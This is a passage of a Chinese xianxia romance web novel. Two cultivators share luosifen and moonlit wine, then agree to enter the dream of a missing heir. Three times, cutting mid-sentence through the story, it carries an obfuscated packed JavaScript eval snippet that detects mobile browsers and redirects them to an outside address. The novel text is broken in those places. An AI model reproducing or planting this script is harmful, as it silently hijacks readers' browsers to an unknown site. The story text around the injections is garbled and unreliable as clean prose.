二人穿过窄小的木门迈入铺中,眼前豁然开朗,正是别有洞天的一处小院。院中人不多亦不少,恰是叫人舒畅的合宜。 视线掠过柜台处挂起的餐名木牌,褚眠冬先看向一旁的白衣少年。 “这奇味斋以各色用料新奇、风味独特的菜式见长,道友可有兴趣挑战些新鲜口味?” 燕无辰一一看过,在诸如「珠贝生腌」「酸粘豆汁」等一众奇食菜名中,谨慎地挑出了看上去最正常的一个。 “香螺粉罢。” “道友竟也好这一口?”褚眠冬显然有些惊讶。 只未等燕无辰从这份惊讶中咂摸出些什么来,她便已弯起眉眼,探身对掌柜吩咐道:“店家,两碗香螺粉。” “好嘞,香螺粉二碗——” 肩搭布巾的掌柜转身向伙房通传菜名,又引褚眠冬二人落座,取茶盏添上热茶,“客官且歇息片刻,尝尝小店新茶。” 褚眠冬欣然执起茶盏,待掌柜正与燕无辰添茶时,闲谈问道: “掌柜的,眼下可否现做炸蛋?这香螺粉配上将将出锅的炸蛋,才最是一绝啊。” 每间食肆出于各种原由,总有或多或少并未写入食单的菜式。掌柜双眼一亮,显然对有食客提及炸蛋深感惊喜。 “客官当真是行家!眼下客人不算多,自然是可以现炸的。”说着,掌柜转向白衣少年,“这位客官是否也加一份?” 褚眠冬提及的这种吃食,显然超出了燕无辰的认知范围。他抿一口香茶,疑惑发问: “炸蛋是什么?” 褚眠冬道:“简单来说就是蛋液经油炸得到的蛋饼。经过一些特殊处理,炸蛋非常容易吸收香螺粉的汤底。” 说到这里,她已经被记忆里浸入汤汁中的晶亮炸蛋彻底勾起了馋虫,眉眼弯弯。 “吸饱汤汁的炸蛋堪称香螺粉的点睛之笔!道友若是从未试过,可是一大憾事啊。” 看着少女眼角眉梢满溢的明亮笑意,燕无辰忽而也对这名为炸蛋的吃食生出了几分期待。 这是他在下山后第一次步入食肆。太久未曾关注过口腹之欲,一时之间,竟也因这份期待而生出些一隔经年的恍惚来。 出神仅是一瞬,燕无辰颔首道:“我也来一份罢。” “中!两位客官稍候……”店家转入后厨,显然是准备亲自上手。 燕无辰心底酝酿的期待之意,在少顷之后,一碗粉未至而味先行的香螺粉端上桌时凝滞了。 尽管已经通过辟谷跳出五谷轮回数百年,燕无辰也依然不会对此时这碗香螺粉释放出的气息感到陌生。 是的,这属于五谷轮回的“香气”。 他默了默,再度望向那木牌,确认这粉当真唤作“香”螺粉,而不是别的什么名字。 莫非这食材有所腐坏?但眸光一转,一旁的青衣少女正抱着碗呼哧呼哧嗦着粉,汤面飘着的红油点的红唇晶亮,不亦乐乎。 他缓了缓,又忆起这食肆的「奇味斋」之名,心说自己今日怕不是来了个不宜作为重拾口腹之欲开端的地方。 ……但粉已经端上来了,不能浪费。 燕无辰面上的纠结和久未提箸的双手着实太过明显,掌柜一看便知,又是一位被香螺粉“打倒”的英雄好汉。 “客官可是第一次点这香螺粉?” 燕无辰神色僵硬地点头。 “客官且放心,食材都是新鲜采收的。这气味乃是来自小店秘制的腌酸笋,有这酸笋在,香螺粉才有最独特的风味。虽气味特别,但口味当真不错,客官可以试试看。” 语罢,店家贴心补充道:“倘若实在无法接受,客官可另点一份其它菜式,不必为这香螺粉埋单。” 燕无辰思索的当口,耳边细细簌簌的声响在沉默中愈显清晰。 是一旁快乐嗦粉的青衣少女。见燕无辰犹豫,她竖起大拇指,欢快道: “放心吧道友,我以修为担保,这香螺粉是好吃的。” 方才粉一端上来,褚眠冬便动箸将卧在表面的炸蛋压入汤中。 一会时间过去,金黄油亮的炸蛋已经吸饱汤汁,表皮从酥脆向柔软过渡,却因浸泡时间并未过长而依然保有恰到好处的脆韧嚼劲。 一口咬下去,汤汁满口。 褚眠冬不自觉露出一个满足的笑容。 看着一旁青衣少女实时打样的燕无辰:……好像很香。 也许……可以尝一口试试看? 依葫芦画瓢、真的尝了一口的燕无辰:真的好香。 一口,两口,三口,从小口小口细嚼慢咽,到逐渐和褚眠冬一样大口嗦粉。 回过神来的燕无辰看向碗底仅剩的汤汁,愣神片刻。 他取出手帕,矜持擦嘴——然后闻到了手帕上的香螺粉气息。 再嗅嗅袍袖,也一样彻底入味。 燕无辰毫不怀疑,他整个人现在也一样被这香螺粉释放的五谷轮回之气,从头到脚腌渍入味了。 他在心底叹了口气。 今日之前,他花了不少心力思索,如何让自己在同褚眠冬的第一次相见中显得亲切,可靠,堪为师尊。 但真实的初见情形是,猝不及防叫褚眠冬听全了他对城中人锋芒毕露的尖刻嘲讽,买来缓和容色的胭脂未用,第一餐嗦粉更是从头到脚腌渍入味。 倘若在真正见到褚眠冬之前,燕无辰还抱着一星半点劝她回转心意、再续师徒之缘的心念,眼下,燕无辰不得不承认,他同她确无师徒缘分。 不会有哪位师尊,在遇见徒弟的第一面如此原形毕露、形象全无,如此直白地叫对方看得自己内里的真实。 但他看着一旁的青衫少女明眸善睐,听她转眸笑侃“今日道友所言实在深得我心,道出我欲道之言”,燕无辰又觉得,这样的开始,也并不坏。 或许,比之师徒更佳。 * 是夜,被香螺粉腌渍入味的二人各自回房,沐浴洁衣之后,相约檐顶赏月,再续夜话。 褚眠冬换了一身银白衣衫,手提一方酒坛轻巧跃上檐角。 早到半刻的燕无辰注意到少女微带水汽的发梢,抬手掐诀,便有数缕清风散入褚眠冬发间,瞬息之间便带走了发梢残余的水汽,术法气力精准,青丝未损分毫。 “道友亦为风灵根。”褚眠冬一手勾起一缕青丝细看,不吝夸赞,“这烘干术法当真出神入化。” “闲来无事,琢磨些方便生活的雕虫小技罢了。”燕无辰指指自己的一头乌发,“若无此术,实在不便。” 褚眠冬深有同感地颔首,又同燕无辰交流一番控风干发的经验之谈,受益良多。 交谈佐以实践,她很快便掌握了其间的精确操控要义。 欣喜于再得新知之余,褚眠冬心觉,如此一位聊得来又于修炼一途可作为探讨伙伴的道友,只一面之交未免可惜,不若互通姓名作为友人。 愉快于传授新知之余,燕无辰心道,他确是一开始便知褚眠冬名姓,但褚眠冬怕是只当他萍水相逢之客,这可并非他所愿。 下一刻,二人异口同声道: “不知道友如何称呼?” 两人相视一笑,燕无辰率先开口。 “幸会道友,在下燕无辰。” 闻言,褚眠冬眸中划过惊讶之色。 “在下褚眠冬。” 燕无辰注意到少女眸中一瞬而过的讶异,心中一动。 「燕无辰」此名并未如道号「云酉」般扬名四海,少女应不至于因此名而知晓他的身份。 下意识地,他并不希望褚眠冬知晓他是追踪玉中那缕灵气而来,也不欲让少女得知他曾是她的准师尊。 他心中微跳,面上却不显,只试探发问: “可是有何不妥?” “并未,只是觉得实在有些凑巧。”褚眠冬摇头道,“燕道友名无辰,我却正巧字念庚。” 仅仅一瞬,燕无辰便想清了这巧在何处。 辰者,庚者,俱有时间之意。“无”辰与“念”庚,正好语义相反。 他心中一松,为这巧合弯了眉眼,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716865|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我确实极易忽视时辰流转。” 山间清修的年岁里,一次入定便是短则三月,长则半载。时间这一概念,于燕无辰而言并不明晰。 “我却对此相当敏锐。”褚眠冬笑道,“第一缕晨光穿过云雾时,正午的日头偏移时,最后一抹余晖与晚霞隐去时。每一日,每一刻,万物有所不变,但更多的却是变化。” 为这巧合笑过,褚眠冬拍开酒封,两人各自把盏,对月浅酌。 手中瓷盏轻轻碰在一处,一声轻响。 褚眠冬含笑道:“仅从方才的术法便可知,今日即便我不参言,燕道友也有把握应对人群中欲挑事者罢?” 燕无辰浅啜一口盏中清酒,清甜远大于酒意,他不自觉又饮一口。 “应对谈不上,只最简单的武力压制而已。”燕无辰摇头,“看不惯我又打不过我,也算出气。不过,褚道友之法才是大快人心。” 说着,他手握酒坛为两人再满一盏,真诚夸赞。 “四两拨千斤,只教众人非但挑事无由,还得叠声应和,连连自证,实在妙哉。” 褚眠冬轻笑,她饮尽盏中酒,只了然道:“但燕道友并不为此开怀。” “褚道友明鉴。被众人应和并不令我心悦,相反,见众人如此,我更觉无趣。” 燕无辰同饮一盏,看向楼阁间溶溶月色。 “众人应和你我,不为真心认同自省,而为自证不愚。但如此自证,反现痴愚。” 他摇了摇头,“若人群中有一人痛快承认自己的偏见与局限,反是值得结交的坦荡之辈。” 但是没有,一个都没有。 八百年前的山下人群中没有,八百年后的山下人群中,依然没有。 八百年前的他是失望的。 八百年后的他…… “燕道友可是深感失望?” 一旁的褚眠冬再次提坛倒酒,酒液入碗的轻滚微漱声里,少女的音色轻且静。 她道:“是啊,这世间的大多数人,大抵皆如此。不面对,不自省,始终高昂着头,维持着自认的光鲜与明智,终此一生。” 话语落在风里,片刻的静寂之后,是少年的沉越声线。 “……原本我是失望的。” 燕无辰看向褚眠冬。 月色下的这一刻,他与她共享了这份失望,却又因这份共享的失望,而不再失望。 “但褚道友是不同的,你不是他们。” 他话语微顿,思索片刻,组织着语言。 “因为褚道友在此,所以此刻的我,并不失望。” 月光在少女的银白衣袂上静默流淌,恰如某些情绪的暗流在燕无辰心底静水流深。 他摩挲着那枚留驻着她一缕灵气的玉佩,在这一刻有些感激沉瑜的不着调之举。 “相反,能这样遇见你,我很高兴。” 燕无辰微微勾起唇角,明亮的月光倾洒而下,映照着少年清明的眉眼和微亮的眸光。 褚眠冬听见他说: “如是幸运,千载一次也足矣。” 许是白衣少年说出“千载”二字时的语调与流水般的月色太过相称,在这一瞬,她忽而觉得《春江花月夜》中那句“江月年年望相似”有了具象的画面。 分明应打趣眼前的少年,年纪轻轻便轻许「千载一回」未免显得轻率; 但燕无辰坐在檐角望向明月的悠远眸光,又让褚眠冬不自觉想,或许这位白衣少年当真看过不尽年岁里的亘古月光。 修炼之人灵气入体、驻颜有方,千百岁依然是少年模样者并不少见;少见的是当真将境界修炼到寿数逾千载的人。 倘若燕无辰是其中之一,那他的修为定然在分神期往上。如此境界,绝无可能籍籍无名,于宗门中高低是长老,于散修间也得尊称一句道君。 但作为散修行走修界这些年,褚眠冬确实并未听说过哪位燕姓道君。 比起相信自己巧遇某位下山入世的宗门老祖,褚眠冬更倾向于相信方才的一瞬是她的错觉,燕无辰只是一个同她一样的少年人。 思绪百转只是一瞬,褚眠冬执盏与燕无辰轻碰,轻笑道: “我亦如是。燕道友,你是不同的。” 5. 星河入梦 夜饮罢,二人便各自回房歇息。 次日午后,于房中规划后续行程的褚眠冬便已收到了数封措辞不一、内容亦各异的各式请帖。 褚眠冬与燕无辰并未特意掩盖行踪,昨日主街事后,有心者稍作调查,不难知晓二人住处。 今日褚眠冬收到的请帖中,赏花宴、文会、酒席不一而足,多是富庶人家以此示好,聊表结交之意。 褚眠冬略略翻阅,仅署名「明云」的这封看上去言之有物,值得一去。 帖中,明云提到对昨日主街上褚眠冬与燕无辰所言印象深刻,也据此推断二人正是他所寻、能够协助解决手中难题之人,是以递帖,邀褚眠冬与燕无辰于后巷铺面「明云占星」一叙。 将这封请帖单独带上,褚眠冬准备问问燕无辰作何打算。 她打开房门,便见一手拿着同款请帖,一手做敲门状的白衣少年。 见房门忽开,燕无辰一瞬怔愣,回神时瞥见褚眠冬手中纸页,了然笑道: “看来「明云占星一叙」得以成行了。” 距帖中时辰尚有些时候,用过午膳后动身刚好。 达成共识的两人一同下了楼,唤小二叫了一壶茶并几份餐食,闲谈之余,亦留了几分注意在周围食客所言之上。 周遭认出两人的低声感叹和对昨日主街事的议论暂且不计,褚眠冬捕捉到不远处一桌食客的交谈。 “你说这摘星阁的继任大典怎的就延期了?为了一睹那位少阁主的真容,我还专门换班把继任大典那日调空了,谁知这日子说延就延。” “延就延,到时候再调就是。来,喝酒喝酒!” 另一位食客神神秘秘道:“这你就有所不知了,我二叔的表亲的儿子在摘星阁中当差,听说这继任大典延期,是因为少阁主失踪了。” “失踪?” 最开始发问的食客倒吸一口气,觑了觑周围,压低声音。 “是被人掳走还是自己走的?整座百晓城都是靠着摘星阁建起来的,谁有那么大本事在城里把少阁主带走?自己走就更离谱了,城中谁人不知少阁主年十五便开始接手阁中事务,临着年满弱冠接任阁主之位了,怎会有家产不要还跑掉?” “老二,收收你的好奇心。吃饭就吃饭,别老想些有的没的。” 方才劝酒的食客肃了语气,一桌几人便就此打住了对摘星阁少阁主失踪一事的八卦。 不远处的另一桌食客衣着光鲜却面带愁容,絮絮叨叨间,正讨论着要去何处求卦。 “花一笔钱让父亲心安我没意见,但这摘星阁的卜问,要价也着实太高了些。” “也不是没有其它选择。父亲只说要到百晓城求卦,也没指定要摘星阁的啊。我听说这城中还有占星铺子,那位叫明云的店主算得又准,费用还低,才收摘星阁要价的七成。” 褚眠冬记下了这条消息,想来二人话中的明云,便是发出请帖的那位。 “说是这么说……害。” 抱怨摘星阁要价的食客凑近了后者耳边,“我听说那位明云,荤素不忌啊。要价便宜怕是私德有缺,心中虚。” “这……荤素不忌,是我想的那种荤素不忌?” “不知道,总归不是什么好话。要不还是凑一凑,去摘星阁求卦吧。” 褚眠冬与燕无辰对视一眼,食客口中的“荤素不忌”,显然并不止于字面上的荤食素食,而带着更具暗示性的指控。 真相如何,去了才知。 * 褚燕两人抵达请帖所书之处时,巷中的一方窄小木门边,已有位青年含笑而立。 一袭墨绿青衫萧疏飘逸,长至腰间的墨发在临近发尾处以一段草绳松松束起。 见二人走近,青年浅笑颔首。 “见过二位,恭候多时。” 他身侧,一块形状天然的木牌斜倚于木门旁,其上是潦草而随性的“明云占星”四字。 “在下明云,欢迎。” 褚眠冬二人亦道过名姓。 推开木门,穿过一段满是绿意的幽径,是别有洞天的一角庭院。 莲池静谧,更漏古朴,与一身青衫的明云很是相称。 明云引褚眠冬与燕无辰在一方小亭中落座,亭角立有一木牌,上书「价目表」三字,又以更小的字号列出了各式占星项目的价格。 一阵微风掠过,亭梁上悬挂的无数彩笺旋转摇曳,每一张笺纸之上,都是来客的感激之语。 亭中石桌上,以支架固定的球形晶石隐现幽光。一壶三杯分置三侧,备茶之人似是早便知晓来者有二。 青衣青年执壶沏茶,一举一动间不紧不慢,茶水落于杯盏的轻漱之声传入耳畔,属于茉莉的清香亦随湿润的水汽拂过鼻尖。 “院中茉莉窨制的花茶,二位请。” 微苦回甘的茶香在舌尖萦绕,清风拂过,带来氤氲的草木气息。 明云并未多言,只开门见山。 “帖中所言难题,事关在下的一位友人,摘星阁少阁主雁星河。星河于阁主继任大典前失踪之事,两位应已有所耳闻。不瞒二位,眼下星河正在此院中。” 他将一只青玉小瓶放在桌面,示意两人可随意察看。 “继任大典前夜,星河深夜登门,带了酒。”明云道,“在开启酒封之前,星河说,他欲服一枚花间醉。” 燕无辰开启瓶塞,倒出其中丹药,细看一番后微微凝眉: “号称「花间一醉三千年」的花间醉?” “没错。一枚入喉,便可入梦。梦中所见,皆为所愿。” 明云摇摇头,“只这梦也终归是梦。长梦易碎,如此行事,不过是逃避罢了。” 褚眠冬概括事态:“也就是说,雁道友在继任大典前夜来此,服下花间醉,选择入梦。眼下,他正躺在院中厢房里,长睡不醒。” 燕无辰看向明云,“既如此,道友希望我们如何协助?” 明云道:“在下想托两位入梦,代我同星河谈谈。这几日来,我一直在自行尝试,却始终不得进入星河的梦境。想来,是他自主选择拒绝与我交流。” 他放下茶盏,低叹一声。 “事出必有因,而唯有沟通,才得以知晓星河的想法,明晰他如此行事的原由。” “与星河沟通的人选,需得慎重。不求全然理解星河所想,但需不为世俗常理所困、常有所思者。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716866|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>明云抬眸,与褚眠冬二人目光相接,认真道: “昨日在下于茶楼临窗处听得燕道友对胭脂和书卷的论断,又见褚道友四两拔千斤巧化僵局,便知两位就是在下所寻之人。” “以入梦引进入他者梦境,虽我已有诸多经验,也定会竭力在旁护航,却也无法说毫无风险。主观来说,依照多年来我与星河的交集和对两位的观察,结果不会是最糟的那一种;但客观来说,神魂有损、意识迷失,皆有可能。” 明云摩挲着茶盏边沿,面色坦然,“因此,这是一个不情之请,两位拒绝也是理所应当。” “我能给出的承诺,除在入梦期间全力护航之外,还有无论结果如何,都对得起二位努力的报酬。此乃常理,可立道契确保。” 道契是修界最具约束力的契约,没有之一。 立契双方直接向天道立下条约,引天道法则之力加以约束,违者轻则五雷轰顶,重则魂飞魄散。 褚眠冬与燕无辰对视一眼,皆从中读出了慎重。 “事关重大,两位不必即刻给出答复。” 明云显然也知晓即刻答复只会是断然拒绝,“在两位做出决定前,关于星河此人、星河之事,在下知无不言,言无不尽。二位尽可在知悉此间全貌后,再做决断。” 三人再添茶静饮间,褚眠冬暗自戳了戳尾戒中司洺留下的一缕天道意识。 褚眠冬:「明云说这种,是不是你说的“聊聊”?」 不止褚眠冬一人在场,司洺便并未如上回那般现身,只与褚眠冬神识交谈。 司洺:「不是说发现穿越者才联系我?明云和雁星河都不是穿越者,聊不聊由你自行决断便可。」 褚眠冬了然:「所以是算的。」 司洺:「算算算。如果你担心入梦风险那可以放心了,有我留的一缕意识在,足够护你无恙。至于旁边那位,他也不会有事。所以你大可答应下来试试看,熟能生巧嘛。」 遥远的意识空间,天道办事处,埋首于高高堆积的剧本山中的司洺小声嘟囔: “以这位的修为,在梦里把雁星河的神魂拆了,他自己都不会有事。” 语罢,司洺似想起什么,自言自语道:“说来也真是因缘难断,她都离宗了,这位准师尊还能专程寻来。” 祂在「告诉褚眠冬此事」与「绝口不提此事」之间摇摆了片刻,安然选择了后者。 “天道行事准则第三百七十二条,「不问不说,多一事不如少一事」。” 司洺闭眼说服自己,“干不完了,活真的干不完了,不要再给自己增添工作量了,司洺!” 那厢,升腾的茶水雾气间,褚眠冬眉梢微挑。 她戳司洺的本意并非入梦安危之忧,而出于开工前向合作伙伴再次确认工作内容,顺带递一份开工讯息,聊表有在努力工作之意。 至于白玉戒中寄宿的那缕天道意识竟还有如此堪称底牌的保护作用,实乃意外之喜。 如此也好,后顾之忧已解,大可一试。 并未即刻应下这份差事,褚眠冬静静饮尽盏中茶水,在明云执壶再添茶时,方平和道: “明道友,同在下说说雁道友罢。” 6. 星河入梦 “星河啊……” 明云为自己续上一盏清茶,轻啜润喉,娓娓道来。 “星河十五岁那年,来寻我占星。彼时他刚刚开始接手摘星阁中的占卜事务,为此甚是心焦。” “现任阁主曾号「修界百晓生」,以情报生意发家,创立摘星阁;又以摘星阁为基,建起百晓城。” “话说到这里,想必两位业已明了摘星阁占卜之业的真实倚仗。” 褚眠冬道:“情报。整合来者的关系网、经历等信息,描绘其行事逻辑,结合近期境况,便可知其此行所求为何。” “正是如此。当一个问题被提出时,提问之人心中已经有了答案和抉择。不论是就此求卦还是占星,究其根本,求的是心安,是情绪的安抚,亦是认同和支持。直到此处,逻辑都无甚问题。” 明云放下茶盏,“而如今的阁主,亦即星河的父亲认为,卦者所为,是依据情报抽丝剥茧,看清求卦者心中业已做好的抉择,顺水推舟,以言语给予求卦之人想要的助力。” 燕无辰皱了皱眉:“无关这抉择的对与错?” 倘若求卦之人已做好的决定是为害世间,也只管以言语推波助澜? “对错不论。老阁主认为,最重要的是对方得到想要的言语支持,自己得到相应的丰厚报酬,此乃交换。” 明云顿了顿,“于此,星河并不认同。也因此,每一次卜算于星河而言,都是违心而为。” 日日违心而为,无怪乎心焦难挨。 “那时我告诉星河,既如此,他可以自行摸索一套属于他自己的卜问逻辑。譬如就我而言,卦者所为,是在洞悉求卦者抉择的基础上,结合情报,引导求卦之人看见先前未能得见的新选项。” “但每每话到此处,星河便开始顾左右而言它。固然日日因违心的卜算而心焦难挨,提及改变这一行为模式,他却下意识选择回避。” 明云垂眸,轻轻吹开盏中浮起的茶梗。 “这很正常。人选择固守一个让自己感到痛苦的行为方式,必然因为从中得到了自己想要的「好处」。” 雁星河不言,明云便也不问。在日常闲聊的只言片语间,答案自会渐渐拼凑而成。 “两年间,我渐渐知晓让星河拒绝改变的那份甜头究竟是什么。” 他幽幽叹气。 “是老阁主的赞赏,或说认同。星河的自我价值建立于此,而在老阁主看来,一切按照他所认为的方式进行,才能获得他的认同。” “一个人的自我价值,怎会只能全盘寄托在另一个人的认同之上?”褚眠冬摇头道,“自我价值首先由自己赋予,而不必假于任何人之手。” “原本应当如此。合格开明的长辈会教导小辈意识到这一点,但老阁主,这位在百年内从一无所有经营至此的传奇人物……” 明云的神色带出一闪而逝的讽意,“他有意一手促成了星河的如是认知。” “老阁主,是一位优秀的操纵者。” * 正是早春多雨时节,褚眠冬与燕无辰从明云的占星铺中出来时,下了一场雨。 淅淅沥沥的雨帘笼在远近屋檐之上,似一层朦胧的纱。 于潮湿的草木气息中再往远处望些,城外起伏的山脉与水洗般的天空交界处,写意般堆叠的层云间,隐隐传来雷鸣之声。 并非修者渡劫,只是再常见不过的雷云。 褚眠冬在屋檐下止步,望了望檐角垂落的丝缕水帘,自储物袋中取出一把油纸伞。 雨丝轻敲在天青色伞面上,留下晶莹的水迹。 一旁的燕无辰却并无动作。着一身白衣的少年只是伸出手去,接住从檐角坠下的水珠,在扑面而来的水汽里,静静感受着雨丝被风送到鼻尖眉梢的触感。 见此,褚眠冬便也没有急着迈步。 “和瀑布的感觉不同。”燕无辰看了看掌心,又望向雨雾中的街巷,“先前我所居之处,从不下雨。” 凌云宗一众山头的风物气候皆受护山大阵调控,自阵成之日起便摒弃了降雨,只在百草圃中保留用作定期灌溉的雨水。 褚眠冬对此接受良好,修界之大,自然有不少地域从不下雨。于修炼之人而言,只要灵气充裕,便可定居。 她正在心底一个个细数着先前游历时去过的无雨之地,便听身旁的白衣少年问道:“不知褚道友可还有多余的伞?” 没有,进百晓城前她刚刚整理过储物袋,将不常用的物件都转手了。 物件在精不在多,伞自然也只留了足够结实耐用又兼具美观的这一把。 最重要的是伞面足够宽,绝不会存在打着伞依旧湿了半边身的忧虑。 是了,伞面够宽。 思绪至此,褚眠冬自然而然开口: “虽没有多余,但这伞足够大,燕道友若不介意,可与我共撑一伞。” 此话一出,褚眠冬脑海中便不自觉放起了前些日子搜罗的民间话本中,那同舟避雨、蓬船借伞的故事开头,并稍感牙酸。 不不不,她不是转世报恩还把以身相许轻易纳入选择范围的蛇仙,燕无辰也不是迂腐懦弱的书生,毫无可比性。 看来还是不能看太多民间清奇话本,连同撑一伞这么简单正常的事,都被话本赋予了奇怪的联想方向。 “那便多谢褚道友了。”燕无辰闻言笑着应声,靠近半步,从褚眠冬手中接过油纸伞,稍稍抬高些许,将两人都遮在伞下。 此前两人虽也同行,却并未如此刻般近乎肩并肩的靠近。 这样的距离下,褚眠冬才发觉,燕无辰虽生得一副少年感十足的容貌,身形却是青年该有的颀长高挑。 修长的指节稳稳握住伞柄,腕骨往下,衣袖轻曳间露出的手臂,是一种线条流畅且分明的美。 这线条当然不是肌肉线条,褚眠冬想,只是撑伞而已,不至于用力到青筋暴起、肌肉凸显。 “原本是想着,若是褚道友没有多余的伞,我便径直入这雨帘中去。” 注意到身旁少女的视线,燕无辰微微垂眸,看向她浅笑道,“但能撑伞自然是好的。” “燕道友客气了。” 话语间,两人谁也没提避雨诀。 一位习惯了雨季撑伞的仪式感并以为对方亦如此,另一位压根没想起有这个东西。 一时无话间,两人的思绪都回到了雁星河之事。 燕无辰问道:“入梦一事,褚道友怎么看?” “眼下已经听过明云视角下的雁星河之事,但暂且只是他的一面之词。”褚眠冬说,“实情如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阁主吩咐寻得两位便即刻引至阁中,还请两位莫要为难在下……” 他弯腰作揖,看向两人的目光中写满恳求,好似如无法完成阁主之令,便将大难临头。 见褚眠冬二人并无动摇之色,他一阵瑟缩,口中含糊地喃喃自语。 “不,我不是一无是处……我可以的,我会完成任务,不被抛弃……” 眼前摘星阁弟子的恐惧不似作伪。 显然,他害怕的并非身体上的严酷刑罚,而是精神与言语上的凌驾鞭笞。 仿佛被这自言自语激励,他向两人弯身,竟作势要叩首相求。 派出这样一位弟子前来“请”人,又何尝不是对褚眠冬和燕无辰的无形胁迫。 老阁主这番做派,与明云形成鲜明对比之余,亦将明云所言证实三分。 既如此,且去听一听老阁主口中雁星河的故事,顺带为这趟入梦之行再添一份不要白不要的报酬。 思绪落定,两人扶起躬身欲拜的摘星阁弟子。 褚眠冬微笑道:“既然阁主盛情相邀,我等岂有不应之理。” 燕无辰弯了眉梢:“这便有劳,带路罢。” 7. 星河入梦 老阁主口中的故事,与褚眠冬和燕无辰料想的差不离。 作为继承者被培养的雁星河自小听话又懂事,从衣着、喜好到行事方式,他都与老阁主仿佛一个模子里刻出来的般,规整、严谨、一丝不苟,一直以来都是老阁主的骄傲。 但这一切在雁星河认识明云之后有了改变,他开始困惑、质疑、耽于情绪。 老阁主认为,这是因为明云的占星铺与摘星阁的占卜生意向来互为竞争关系,定然是明云蓄意接近,教两人生出了不该有的情感,且雁星河还是其中居于下风的被掌控方,才会如此痛苦煎熬。 雁星河于继任大典前的失踪,想来也是明云的手笔,动机大抵是以此令摘星阁后继无人,不战而败。 最后,老阁主以把“我都这么说了,怎么可能还有人会拒绝”写在脸上的傲慢态度表示,倘若褚眠冬与燕无辰愿意借明云对二人的主动示好救出少阁主雁星河,必有重谢。 褚眠冬在心中笑出了声,按住意欲拔剑的燕无辰,淋漓尽致地演出了一个贪财怕事之辈写满恐惧又浸透贪婪的犹疑,要求老阁主将酬金翻倍,才“铤而走险”答应下来。 如此行事,反倒叫老阁主觉得二人能被轻松看透、易于拿捏,他消了警惕,亦撤了对两人的暗中盯梢。 褚眠冬与燕无辰自摘星阁中出来时,夜色已深。 所幸今夜正是十五月圆,月光明亮,无风无云,正可踏月而归。 然而月下之人却并无赏月之兴。 刚刚结束与老阁主的好一番言语交锋,两人都难得心累,并无欣赏月色的兴致,只并肩默然向前,各自放空。 任由思绪飘飞之时,一个念头跃入褚眠冬脑海。 她低声道:“这时候就该来点宵夜……” 右手握拳敲在左手掌心,褚眠冬有了主意。 “燕道友,可要一起?” 燕无辰还在状况之外,闻言慢了半拍,带出一声字正腔圆的“啊?” “生火,烤红薯。” 褚眠冬言简意赅,末了又补充道: “若是不喜红薯,还有土豆,芋头,胡桃,都可以烤。” 一炷香后,两人设下隐匿阵法,衣摆席地,一起毫无形象地坐在火堆边。 褚眠冬握着一根顶端分叉的长树枝,将火堆底部堆积的粗枝枯叶抬起架空,手动辅助空气流通,好让火烧得更旺些。 燕无辰用几根削尖的树枝穿了红薯,凑近火上翻烤。见褚眠冬将火堆打理得越烧越旺而不理一旁的食材,他有些不解。 “现在不烤吗?再这般旺烧下去,木柴就要燃尽了。” “就是要灭了才好。” 褚眠冬摇摇头,继续手中动作。 “土豆红薯芋头之属,埋入明火烧尽之后余下的炭火里,自然焖烤便好。明火烤制温度过高,易表皮焦糊而内里未熟。” 说着,她看向一旁的几只裹着青皮的胡桃: “胡桃也是一样。未去青皮的新鲜胡桃在炭火中烤熟,剥出胡桃仁后揭掉仁皮,入口之感生嫩,与晒干后敲开的胡桃全然不同。” 燕无辰闻言,停下手上的动作,取下串在树枝上的红薯,放回一边,叹道: “原来如此,受教了。先前以此法烤鱼效果很好,烤薯却次次夹生,本还以为是山头的那种红薯不宜烤制,想来原是方法不对。” 他也取来一根树枝,与褚眠冬一同打理火堆。 “若是削片串之、勤于翻动,明火烤也是可以的。”褚眠冬道,“只是去皮削片又串片翻动实在有些繁琐,效果也不如直接埋入炭火来的快且好。” 木柴燃烧的噼啪轻响声间,不时有火星轻散。跃动的火光映在两人面上,驱散了初春夜间残余的凉意。 闲谈拨弄中,某些从摘星阁中带出的沉郁心绪,渐渐在火光带来的热意里被烧灼殆尽。 明火彻底熄灭时,灰白的草木灰余烬之上,卧着开裂炭化的枯木段。残余的火种寄宿在木炭间,火光的色泽在碳块一角隐约闪烁。 敲开大块的炭段,两人一同拨开灰堆,将表皮带泥的红薯、土豆、芋头和裹着青皮的新鲜胡桃放入后,以草木灰一并覆盖,再把尚在无声燃烧的炭块堆积其上。 “好了,接下来就是等烤熟了。” 褚眠冬拍落手上沾染的炭灰,长舒一口气。再坐下时,她终于注意到今夜分外明亮的月色。 “今天是十五啊……” 她看向空中的一轮圆月,“果然,比起同人虚与委蛇,还是一餐宵夜与如此月色更配。” “是啊。” 燕无辰也长长舒气,他一手扶在脑后仰躺下来,一手捏着根狗尾草,抬手举在眼前。指尖轻捻间,草穗便被茎秆带着摇来晃去。 “没想到,真的有人能一生活在谎言之中。” 